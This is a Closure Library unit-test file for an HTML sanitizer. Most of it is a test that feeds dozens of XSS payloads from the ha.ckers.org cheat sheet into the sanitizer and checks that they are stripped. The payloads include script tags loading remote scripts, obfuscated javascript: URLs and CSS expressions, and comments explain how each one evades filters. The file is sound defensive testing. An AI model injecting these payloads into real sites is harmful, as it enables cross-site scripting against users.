htmlsanitizer_test.js 57 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503
  1. // Copyright 2016 The Closure Library Authors. All Rights Reserved.
  2. //
  3. // Licensed under the Apache License, Version 2.0 (the "License");
  4. // you may not use this file except in compliance with the License.
  5. // You may obtain a copy of the License at
  6. //
  7. // http://www.apache.org/licenses/LICENSE-2.0
  8. //
  9. // Unless required by applicable law or agreed to in writing, software
  10. // distributed under the License is distributed on an "AS-IS" BASIS,
  11. // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  12. // See the License for the specific language governing permissions and
  13. // limitations under the License.
  14. /**
  15. * @fileoverview Unit tests for HTML Sanitizer
  16. */
  17. goog.setTestOnly();
  18. goog.require('goog.array');
  19. goog.require('goog.dom');
  20. goog.require('goog.html.SafeHtml');
  21. goog.require('goog.html.SafeUrl');
  22. goog.require('goog.html.sanitizer.HtmlSanitizer');
  23. goog.require('goog.html.sanitizer.HtmlSanitizer.Builder');
  24. goog.require('goog.html.sanitizer.TagWhitelist');
  25. goog.require('goog.html.sanitizer.unsafe');
  26. goog.require('goog.html.testing');
  27. goog.require('goog.object');
  28. goog.require('goog.string.Const');
  29. goog.require('goog.testing.dom');
  30. goog.require('goog.testing.jsunit');
  31. goog.require('goog.userAgent');
  32. /**
  33. * @return {boolean} Whether the browser is IE8 or below.
  34. */
  35. function isIE8() {
  36. return goog.userAgent.IE && !goog.userAgent.isVersionOrHigher(9);
  37. }
  38. /**
  39. * @return {boolean} Whether the browser is IE9.
  40. */
  41. function isIE9() {
  42. return goog.userAgent.IE && !goog.userAgent.isVersionOrHigher(10) && !isIE8();
  43. }
  44. /**
  45. * Sanitizes the original HTML and asserts that it is the same as the expected
  46. * HTML. If present the config is passed through to the sanitizer.
  47. * @param {string} originalHtml
  48. * @param {string} expectedHtml
  49. * @param {?goog.html.sanitizer.HtmlSanitizer=} opt_sanitizer
  50. */
  51. function assertSanitizedHtml(originalHtml, expectedHtml, opt_sanitizer) {
  52. var sanitizer =
  53. opt_sanitizer || new goog.html.sanitizer.HtmlSanitizer.Builder().build();
  54. try {
  55. var sanitized = sanitizer.sanitize(originalHtml);
  56. if (isIE9()) {
  57. assertEquals('', goog.html.SafeHtml.unwrap(sanitized));
  58. return;
  59. }
  60. goog.testing.dom.assertHtmlMatches(
  61. expectedHtml, goog.html.SafeHtml.unwrap(sanitized),
  62. true /* opt_strictAttributes */);
  63. } catch (err) {
  64. if (!isIE8()) {
  65. throw err;
  66. }
  67. }
  68. if (!opt_sanitizer) {
  69. // Retry with raw sanitizer created without the builder.
  70. assertSanitizedHtml(
  71. originalHtml, expectedHtml, new goog.html.sanitizer.HtmlSanitizer());
  72. // Retry with an explicitly passed in Builder.
  73. var builder = new goog.html.sanitizer.HtmlSanitizer.Builder();
  74. assertSanitizedHtml(
  75. originalHtml, expectedHtml,
  76. new goog.html.sanitizer.HtmlSanitizer(builder));
  77. }
  78. }
  79. /**
  80. * @param {!goog.html.SafeHtml} safeHtml Sanitized HTML which contains a style.
  81. * @return {string} cssText contained within SafeHtml.
  82. */
  83. function getStyle(safeHtml) {
  84. var tmpElement = goog.dom.safeHtmlToNode(safeHtml);
  85. return tmpElement.style ? tmpElement.style.cssText : '';
  86. }
  87. function testHtmlSanitizeSafeHtml() {
  88. var html;
  89. html = 'hello world';
  90. assertSanitizedHtml(html, html);
  91. html = '<b>hello world</b>';
  92. assertSanitizedHtml(html, html);
  93. html = '<i>hello world</i>';
  94. assertSanitizedHtml(html, html);
  95. html = '<u>hello world</u>';
  96. assertSanitizedHtml(html, html);
  97. // NOTE(user): original did not have tbody
  98. html = '<table><tbody><tr><td>hello world</td></tr></tbody></table>';
  99. assertSanitizedHtml(html, html);
  100. html = '<h1>hello world</h1>';
  101. assertSanitizedHtml(html, html);
  102. html = '<div>hello world</div>';
  103. assertSanitizedHtml(html, html);
  104. html = '<a>hello world</a>';
  105. assertSanitizedHtml(html, html);
  106. html = '<div><span>hello world</span></div>';
  107. assertSanitizedHtml(html, html);
  108. html = '<div><a target=\'_blank\'>hello world</a></div>';
  109. assertSanitizedHtml(html, html);
  110. }
  111. // TODO(pelizzi): name of test does not make sense
  112. function testDefaultCssSanitizeImage() {
  113. var html = '<div></div>';
  114. assertSanitizedHtml(html, html);
  115. }
  116. function testBuilderCanOnlyBeUsedOnce() {
  117. var builder = new goog.html.sanitizer.HtmlSanitizer.Builder();
  118. var sanitizer = builder.build();
  119. assertThrows(function() {
  120. builder.build();
  121. });
  122. assertThrows(function() {
  123. new goog.html.sanitizer.HtmlSanitizer(builder);
  124. });
  125. }
  126. function testAllowedCssSanitizeImage() {
  127. var testUrl = 'http://www.example.com/image3.jpg';
  128. var html = '<div style="background: url(' + testUrl + ');"></div>';
  129. var sanitizer =
  130. new goog.html.sanitizer.HtmlSanitizer.Builder()
  131. .allowCssStyles()
  132. .withCustomNetworkRequestUrlPolicy(goog.html.SafeUrl.sanitize)
  133. .build();
  134. try {
  135. var sanitizedHtml = sanitizer.sanitize(html);
  136. if (isIE9()) {
  137. assertEquals('', goog.html.SafeHtml.unwrap(sanitizedHtml));
  138. return;
  139. }
  140. assertRegExp(
  141. /background(?:-image)?:.*url\(.?http:\/\/www.example.com\/image3.jpg.?\)/,
  142. getStyle(sanitizedHtml));
  143. } catch (err) {
  144. if (!isIE8()) {
  145. throw err;
  146. }
  147. }
  148. }
  149. function testHtmlSanitizeXSS() {
  150. // NOTE(user): xss cheat sheet found on http://ha.ckers.org/xss.html
  151. var safeHtml, xssHtml;
  152. // Inserting <script> tags is unsafe
  153. // Browser Support [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
  154. safeHtml = '';
  155. xssHtml = '<SCRIPT SRC=xss.js><\/SCRIPT>';
  156. assertSanitizedHtml(xssHtml, safeHtml);
  157. // removes strings like javascript:, alert, etc
  158. // Image XSS using the javascript directive
  159. // Browser Support [IE6.0|IE8.0|NS8.1-IE]
  160. safeHtml = '<img />';
  161. xssHtml = '<IMG SRC="javascript:xss=true;">';
  162. assertSanitizedHtml(xssHtml, safeHtml);
  163. safeHtml = '<div><a>hello world</a></div>';
  164. xssHtml = '<div><a target=\'_xss\'>hello world</a></div>';
  165. assertSanitizedHtml(xssHtml, safeHtml);
  166. safeHtml = '';
  167. xssHtml = '<IFRAME SRC="javascript:xss=true;">';
  168. assertSanitizedHtml(xssHtml, safeHtml);
  169. safeHtml = '';
  170. xssHtml = '<iframe src=" javascript:xss=true;">';
  171. assertSanitizedHtml(xssHtml, safeHtml);
  172. // no quotes and no semicolon
  173. // Browser Support [IE6.0|NS8.1-IE]
  174. safeHtml = '<img />';
  175. xssHtml = '<IMG SRC=javascript:alert("XSS")>';
  176. assertSanitizedHtml(xssHtml, safeHtml);
  177. // case insensitive xss attack
  178. // Browser Support [IE6.0|NS8.1-IE]
  179. safeHtml = '<img />';
  180. xssHtml = '<IMG SRC=JaVaScRiPt:alert("XSS")>';
  181. assertSanitizedHtml(xssHtml, safeHtml);
  182. // HTML Entities
  183. // Browser Support [IE6.0|NS8.1-IE]
  184. safeHtml = '<img />';
  185. xssHtml = '<IMG SRC=javascript:alert(&quot;XSS&quot;)>';
  186. assertSanitizedHtml(xssHtml, safeHtml);
  187. // Grave accent obfuscation (If you need to use both double and single quotes
  188. // you can use a grave accent to encapsulate the JavaScript string)
  189. // Browser Support [IE6.0|NS8.1-IE]
  190. safeHtml = '<img />';
  191. xssHtml = '<IMG SRC=`javascript:alert("foo \'bar\'")`>';
  192. assertSanitizedHtml(xssHtml, safeHtml);
  193. safeHtml = '<img />';
  194. xssHtml = '<IMG data-xxx=`yyy`>';
  195. assertSanitizedHtml(xssHtml, safeHtml);
  196. // Malformed IMG tags
  197. // http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300
  198. // Browser Support [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
  199. safeHtml = '<img />"&gt;';
  200. xssHtml = '<IMG """><SCRIPT defer>exploited = true;<\/SCRIPT>">';
  201. assertSanitizedHtml(xssHtml, safeHtml);
  202. // UTF-8 Unicode encoding
  203. // Browser Support [IE6.0|NS8.1-IE]
  204. safeHtml = '<img />';
  205. xssHtml = '<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;' +
  206. '&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;' +
  207. '&#41;>';
  208. assertSanitizedHtml(xssHtml, safeHtml);
  209. // Long UTF-8 Unicode encoding without semicolons (this is often effective
  210. // in XSS that attempts to look for "&#XX;", since most people don't know
  211. // about padding - up to 7 numeric characters total). This is also useful
  212. // against people who decode against strings like
  213. // $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon
  214. // is required to terminate a html encoded string:
  215. // Browser Support [IE6.0|NS8.1-IE]
  216. safeHtml = '<img />';
  217. xssHtml = '<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099' +
  218. '&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108' +
  219. '&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083' +
  220. '&#0000083&#0000039&#0000041>';
  221. assertSanitizedHtml(xssHtml, safeHtml);
  222. // Hex encoding without semicolons (this is also a viable XSS attack against
  223. // the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that
  224. // there is a numeric character following the pound symbol - which is not true
  225. // with hex HTML characters). Use the XSS calculator for more information:
  226. // Browser Support [IE6.0|NS8.1-IE]
  227. safeHtml = '<img />';
  228. xssHtml = '<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A' +
  229. '&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>';
  230. assertSanitizedHtml(xssHtml, safeHtml);
  231. // Embedded tab
  232. // Browser Support [IE6.0|NS8.1-IE]
  233. safeHtml = '<img />';
  234. xssHtml = '<IMG SRC="jav\tascript:xss=true;">';
  235. assertSanitizedHtml(xssHtml, safeHtml);
  236. // Embedded encoded tab
  237. // Browser Support [IE6.0|NS8.1-IE]
  238. safeHtml = '<img />';
  239. xssHtml = '<IMG SRC="jav&#x09;ascript:xss=true;">';
  240. assertSanitizedHtml(xssHtml, safeHtml);
  241. // Embeded newline to break up XSS. Some websites claim that any of the chars
  242. // 09-13 (decimal) will work for this attack. That is incorrect. Only 09
  243. // (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii
  244. // chart for more details. The following four XSS examples illustrate this
  245. // vector:
  246. // Browser Support [IE6.0|NS8.1-IE]
  247. safeHtml = '<img />';
  248. xssHtml = '<IMG SRC="jav&#x0A;ascript:xss=true;">';
  249. assertSanitizedHtml(xssHtml, safeHtml);
  250. // Multiline Injected JavaScript using ASCII carriage returns (same as above
  251. // only a more extreme example of this XSS vector) these are not spaces just
  252. // one of the three characters as described above:
  253. // Browser Support [IE6.0|NS8.1-IE]
  254. safeHtml = '<img />';
  255. xssHtml = '<IMG\nSRC\n=\n"\nj\na\nv\na\ns\nc\nr\ni\np\nt\n:\na\nl\ne\nr\nt' +
  256. '\n(\n"\nX\nS\nS\n"\n)\n"\n>';
  257. assertSanitizedHtml(xssHtml, safeHtml);
  258. // Null breaks up JavaScript directive. Okay, I lied, null chars also work as
  259. // XSS vectors but not like above, you need to inject them directly using
  260. // something like Burp Proxy or use %00 in the URL string or if you want to
  261. // write your own injection tool you can either use vim (^V^@ will produce a
  262. // null) or the following program to generate it into a text file. Okay, I
  263. // lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable
  264. // to one additional char 173 (the soft hypen control char). But the null
  265. // char %00 is much more useful and helped me bypass certain real world
  266. // filters with a variation on this example:
  267. // Browser Support [IE6.0|IE7.0|NS8.1-IE]
  268. safeHtml = '<img />';
  269. xssHtml = '<IMG SRC=java\0script:alert("hey");>';
  270. assertSanitizedHtml(xssHtml, safeHtml);
  271. // On IE9, the null character actually causes us to only see <SCR. The
  272. // sanitizer on IE9 doesn't "recover as well" as other browsers but the
  273. // result is safe.
  274. safeHtml = isIE9() ? '' : '<span>alert("XSS")</span>';
  275. xssHtml = '<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>';
  276. assertSanitizedHtml(xssHtml, safeHtml);
  277. // Spaces and meta chars before the JavaScript in images for XSS (this is
  278. // useful if the pattern match doesn't take into account spaces in the word
  279. // "javascript:" -which is correct since that won't render- and makes the
  280. // false assumption that you can't have a space between the quote and the
  281. // "javascript:" keyword. The actual reality is you can have any char from
  282. // 1-32 in decimal):
  283. // Browser Support [IE7.0|NS8.1-IE]
  284. safeHtml = '<img />';
  285. xssHtml = '<IMG SRC=" &#14; javascript:alert(window);">';
  286. assertSanitizedHtml(xssHtml, safeHtml);
  287. // Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I
  288. // found that it assumes a non-alpha-non-digit is not valid after an HTML
  289. // keyword and therefor considers it to be a whitespace or non-valid token
  290. // after an HTML tag. The problem is that some XSS filters assume that the
  291. // tag they are looking for is broken up by whitespace.
  292. // Browser Support [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
  293. safeHtml = '';
  294. xssHtml = '<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"><\/SCRIPT>';
  295. assertSanitizedHtml(xssHtml, safeHtml);
  296. // Non-alpha-non-digit part 2 XSS. yawnmoth brought my attention to this
  297. // vector, based on the same idea as above, however, I expanded on it, using
  298. // my fuzzer. The Gecko rendering engine allows for any character other than
  299. // letters, numbers or encapsulation chars (like quotes, angle brackets,
  300. // etc...) between the event handler and the equals sign, making it easier
  301. // to bypass cross site scripting blocks. Note that this also applies to the
  302. // grave accent char as seen here:
  303. // Browser support: [NS8.1-G|FF2.0]
  304. safeHtml = '';
  305. xssHtml = '<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>';
  306. assertSanitizedHtml(xssHtml, safeHtml);
  307. // Non-alpha-non-digit part 3 XSS. Yair Amit brought this to my attention
  308. // that there is slightly different behavior between the IE and Gecko
  309. // rendering engines that allows just a slash between the tag and the
  310. // parameter with no spaces. This could be useful if the system does not
  311. // allow spaces.
  312. // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
  313. safeHtml = '';
  314. xssHtml = '<SCRIPT/SRC="http://ha.ckers.org/xss.js"><\/SCRIPT>';
  315. assertSanitizedHtml(xssHtml, safeHtml);
  316. // Extraneous open brackets. Submitted by Franz Sedlmaier, this XSS vector
  317. // could defeat certain detection engines that work by first using matching
  318. // pairs of open and close angle brackets and then by doing a comparison of
  319. // the tag inside, instead of a more efficient algorythm like Boyer-Moore that
  320. // looks for entire string matches of the open angle bracket and associated
  321. // tag (post de-obfuscation, of course). The double slash comments out the
  322. // ending extraneous bracket to supress a JavaScript error:
  323. // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
  324. safeHtml = '&lt;';
  325. xssHtml = '<<SCRIPT>xss=true;//<<\/SCRIPT>';
  326. assertSanitizedHtml(xssHtml, safeHtml);
  327. // No closing script tags. In Firefox and Netscape 8.1 in the Gecko rendering
  328. // engine mode you don't actually need the "><\/SCRIPT>" portion of this Cross
  329. // Site Scripting vector. Firefox assumes it's safe to close the HTML tag and
  330. // add closing tags for you. How thoughtful! Unlike the next one, which
  331. // doesn't effect Firefox, this does not require any additional HTML below it.
  332. // You can add quotes if you need to, but they're not needed generally,
  333. // although beware, I have no idea what the HTML will end up looking like once
  334. // this is injected:
  335. // Browser support: [NS8.1-G|FF2.0]
  336. safeHtml = '';
  337. xssHtml = '<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>';
  338. assertSanitizedHtml(xssHtml, safeHtml);
  339. // Protocol resolution in script tags. This particular variant was submitted
  340. // by Lukasz Pilorz and was based partially off of Ozh's protocol resolution
  341. // bypass below. This cross site scripting example works in IE, Netscape in
  342. // IE rendering mode and Opera if you add in a <\/SCRIPT> tag at the end.
  343. // However, this is especially useful where space is an issue, and of course,
  344. // the shorter your domain, the better. The ".j" is valid, regardless of the
  345. // encoding type because the browser knows it in context of a SCRIPT tag.
  346. // Browser support: [NS8.1-G|FF2.0]
  347. safeHtml = '';
  348. xssHtml = '<SCRIPT SRC=//ha.ckers.org/.j>';
  349. assertSanitizedHtml(xssHtml, safeHtml);
  350. // Half open HTML/JavaScript XSS vector. Unlike Firefox the IE rendering
  351. // engine doesn't add extra data to your page, but it does allow the
  352. // javascript: directive in images. This is useful as a vector because it
  353. // doesn't require a close angle bracket. This assumes there is any HTML tag
  354. // below where you are injecting this cross site scripting vector. Even though
  355. // there is no close ">" tag the tags below it will close it. A note: this
  356. // does mess up the HTML, depending on what HTML is beneath it. It gets around
  357. // the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/
  358. // because it doesn't require the end ">". As a side note, this was also
  359. // affective against a real world XSS filter I came across using an open
  360. // ended <IFRAME tag instead of an <IMG tag:
  361. // Browser support: [IE6.0|NS8.1-IE]
  362. safeHtml = isIE9() ? '<img>' : '';
  363. xssHtml = '<IMG SRC="javascript:alert(this)"';
  364. assertSanitizedHtml(xssHtml, safeHtml);
  365. // Double open angle brackets. This is an odd one that Steven Christey
  366. // brought to my attention. At first I misclassified this as the same XSS
  367. // vector as above but it's surprisingly different. Using an open angle
  368. // bracket at the end of the vector instead of a close angle bracket causes
  369. // different behavior in Netscape Gecko rendering. Without it, Firefox will
  370. // work but Netscape won't:
  371. // Browser support: [NS8.1-G|FF2.0]
  372. safeHtml = '';
  373. xssHtml = '<iframe src=http://ha.ckers.org/scriptlet.html <';
  374. assertSanitizedHtml(xssHtml, safeHtml);
  375. // End title tag. This is a simple XSS vector that closes <TITLE> tags,
  376. // which can encapsulate the malicious cross site scripting attack:
  377. // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
  378. safeHtml = '';
  379. xssHtml = '</TITLE><SCRIPT>alert(window);<\/SCRIPT>';
  380. assertSanitizedHtml(xssHtml, safeHtml);
  381. // Input Image.
  382. // Browser support: [IE6.0|NS8.1-IE]
  383. safeHtml = '<input type="IMAGE" />';
  384. xssHtml = '<INPUT TYPE="IMAGE" SRC="javascript:alert(window);">';
  385. assertSanitizedHtml(xssHtml, safeHtml);
  386. // Body image.
  387. // Browser support: [IE6.0|NS8.1-IE]
  388. safeHtml = '';
  389. xssHtml = '<BODY BACKGROUND="javascript:alert(window)">';
  390. assertSanitizedHtml(xssHtml, safeHtml);
  391. // BODY tag (I like this method because it doesn't require using any variants
  392. // of "javascript:" or "<SCRIPT..." to accomplish the XSS attack).
  393. // Dan Crowley additionally noted that you can put a space before the equals
  394. // sign ("onload=" != "onload ="):
  395. // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
  396. safeHtml = '';
  397. xssHtml = '<BODY ONLOAD=alert(window)>';
  398. assertSanitizedHtml(xssHtml, safeHtml);
  399. // IMG SYNSRC.
  400. // Browser support: [IE6.0|NS8.1-IE]
  401. safeHtml = '<img />';
  402. xssHtml = '<IMG DYNSRC="javascript:alert(window)">';
  403. assertSanitizedHtml(xssHtml, safeHtml);
  404. // IMG LOWSRC.
  405. // Browser support: [IE6.0|NS8.1-IE]
  406. safeHtml = '<img />';
  407. xssHtml = '<IMG LOWSRC="javascript:alert(window)">';
  408. assertSanitizedHtml(xssHtml, safeHtml);
  409. // BGSOUND
  410. safeHtml = '';
  411. xssHtml = '<BGSOUND SRC="javascript:alert(window);">';
  412. assertSanitizedHtml(xssHtml, safeHtml);
  413. // & Javascript includes
  414. // Browser support: netscape 4
  415. safeHtml = '<br size="&amp;{alert(window)}" />';
  416. xssHtml = '<BR SIZE="&{alert(window)}">';
  417. assertSanitizedHtml(xssHtml, safeHtml);
  418. // Layer
  419. // Browser support: netscape 4
  420. safeHtml = '';
  421. xssHtml = '<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>';
  422. assertSanitizedHtml(xssHtml, safeHtml);
  423. // STYLE sheet
  424. // Browser support: [IE6.0|NS8.1-IE]
  425. safeHtml = '';
  426. xssHtml = '<LINK REL="stylesheet" HREF="javascript:alert(window);">';
  427. assertSanitizedHtml(xssHtml, safeHtml);
  428. // List-style-image. Fairly esoteric issue dealing with embedding images for
  429. // bulleted lists. This will only work in the IE rendering engine because of
  430. // the JavaScript directive. Not a particularly useful cross site scripting
  431. // vector:
  432. // Browser support: [IE6.0|NS8.1-IE]
  433. safeHtml = '<ul><li>XSS</li></ul>';
  434. xssHtml = '<STYLE>li {list-style-image: url("javascript:alert(window)");}' +
  435. '</STYLE><UL><LI>XSS';
  436. assertSanitizedHtml(xssHtml, safeHtml);
  437. // VBscript in an image:
  438. // Browser support: [IE6.0|NS8.1-IE]
  439. safeHtml = '<img />';
  440. xssHtml = '<IMG SRC=\'vbscript:msgbox("XSS")\'>';
  441. assertSanitizedHtml(xssHtml, safeHtml);
  442. // Mock in an image:
  443. // Browser support: [NS4]
  444. safeHtml = '<img />';
  445. xssHtml = '<IMG SRC="mocha:[code]">';
  446. assertSanitizedHtml(xssHtml, safeHtml);
  447. // Livescript in an image:
  448. // Browser support: [NS4]
  449. safeHtml = '<img />';
  450. xssHtml = '<IMG SRC="livescript:[code]">';
  451. assertSanitizedHtml(xssHtml, safeHtml);
  452. // META (the odd thing about meta refresh is that it doesn't send a referrer
  453. // in the header - so it can be used for certain types of attacks where you
  454. // need to get rid of referring URLs):
  455. // Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
  456. safeHtml = '';
  457. xssHtml = '<META HTTP-EQUIV="refresh" CONTENT="0;url=' +
  458. 'javascript:alert(window);">';
  459. assertSanitizedHtml(xssHtml, safeHtml);
  460. // META using data: directive URL scheme. This is nice because it also doesnt
  461. // have anything visibly that has the word SCRIPT or the JavaScript directive
  462. // in it, because it utilizes base64 encoding. Please see RFC 2397 for more
  463. // details or go here or here to encode your own. You can also use the XSS
  464. // calculator below if you just want to encode raw HTML or JavaScript as it
  465. // has a Base64 encoding method:
  466. // Browser support: [NS8.1-G|FF2.0] [O9.02]
  467. safeHtml = '';
  468. xssHtml = '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,' +
  469. 'PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">';
  470. assertSanitizedHtml(xssHtml, safeHtml);
  471. // META with additional URL parameter. If the target website attempts to see
  472. // if the URL contains "http://" at the beginning you can evade it with the
  473. // following technique (Submitted by Moritz Naumann):
  474. safeHtml = '';
  475. xssHtml = '<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=' +
  476. 'javascript:alert(window);">';
  477. assertSanitizedHtml(xssHtml, safeHtml);
  478. // IFRAME (if iframes are allowed there are a lot of other XSS problems as
  479. // well):
  480. // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
  481. safeHtml = '';
  482. xssHtml = '<IFRAME SRC="javascript:alert(window);"></IFRAME>';
  483. assertSanitizedHtml(xssHtml, safeHtml);
  484. // FRAME (frames have the same sorts of XSS problems as iframes):
  485. // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
  486. safeHtml = '';
  487. xssHtml = '<FRAMESET><FRAME SRC="javascript:alert(window);"></FRAMESET>';
  488. assertSanitizedHtml(xssHtml, safeHtml);
  489. // TABLE (who would have thought tables were XSS targets... except me, of
  490. // course):
  491. // Browser support: [IE6.0|NS8.1-IE] [O9.02]
  492. safeHtml = isIE9() ? '<table><div></div></table>' : '<table></table>';
  493. xssHtml = '<TABLE BACKGROUND="javascript:alert(window)">';
  494. // TODO(danesh): Investigate why this is different for IE9.
  495. assertSanitizedHtml(xssHtml, safeHtml);
  496. // TD (just like above, TD's are vulnerable to BACKGROUNDs containing
  497. // JavaScript XSS vectors):
  498. // Browser support: [IE6.0|NS8.1-IE] [O9.02]
  499. // NOTE(user): original lacked tbody tags
  500. safeHtml = '<table><tbody><tr><td></td></tr></tbody></table>';
  501. xssHtml = '<TABLE><TD BACKGROUND="javascript:alert(window)">';
  502. assertSanitizedHtml(xssHtml, safeHtml);
  503. // TD (just like above, TD's are vulnerable to BACKGROUNDs containing
  504. // JavaScript XSS vectors):
  505. // Browser support: [IE6.0|NS8.1-IE] [O9.02]
  506. safeHtml = '<div></div>';
  507. xssHtml = '<DIV STYLE="background-image: url(javascript:alert(window))">';
  508. assertSanitizedHtml(xssHtml, safeHtml);
  509. // DIV background-image plus extra characters. I built a quick XSS fuzzer to
  510. // detect any erroneous characters that are allowed after the open parenthesis
  511. // but before the JavaScript directive in IE and Netscape 8.1 in secure site
  512. // mode. These are in decimal but you can include hex and add padding of
  513. // course. (Any of the following chars can be used: 1-32, 34, 39, 160,
  514. // 8192-8.13, 12288, 65279):
  515. // Browser support: [IE6.0|NS8.1-IE]
  516. safeHtml = '<div></div>';
  517. xssHtml = '<DIV STYLE="background-image: url(&#1;javascript:alert(window))">';
  518. assertSanitizedHtml(xssHtml, safeHtml);
  519. // DIV expression - a variant of this was effective against a real world
  520. // cross site scripting filter using a newline between the colon and
  521. // "expression":
  522. // Browser support: [IE7.0|IE6.0|NS8.1-IE]
  523. safeHtml = '<div></div>';
  524. xssHtml = '<DIV STYLE="width: expression(alert(window));">';
  525. assertSanitizedHtml(xssHtml, safeHtml);
  526. // STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE
  527. // into an infinite loop of alerts):
  528. // Browser support: [IE6.0|NS8.1-IE]
  529. safeHtml = '';
  530. xssHtml = '<STYLE>@im\port\'\ja\vasc\ript:alert(window)\';</STYLE>';
  531. assertSanitizedHtml(xssHtml, safeHtml);
  532. // STYLE attribute using a comment to break up expression (Thanks to Roman
  533. // Ivanov for this one):
  534. // Browser support: [IE7.0|IE6.0|NS8.1-IE]
  535. safeHtml = '<img />';
  536. xssHtml = '<IMG STYLE="xss:expr/*XSS*/ession(alert(window))">';
  537. assertSanitizedHtml(xssHtml, safeHtml);
  538. // Anonymous HTML with STYLE attribute (IE6.0 and Netscape 8.1+ in IE
  539. // rendering engine mode don't really care if the HTML tag you build exists
  540. // or not, as long as it starts with an open angle bracket and a letter):
  541. safeHtml = '<span></span>';
  542. xssHtml = '<XSS STYLE="xss:expression(alert(window))">';
  543. assertSanitizedHtml(xssHtml, safeHtml);
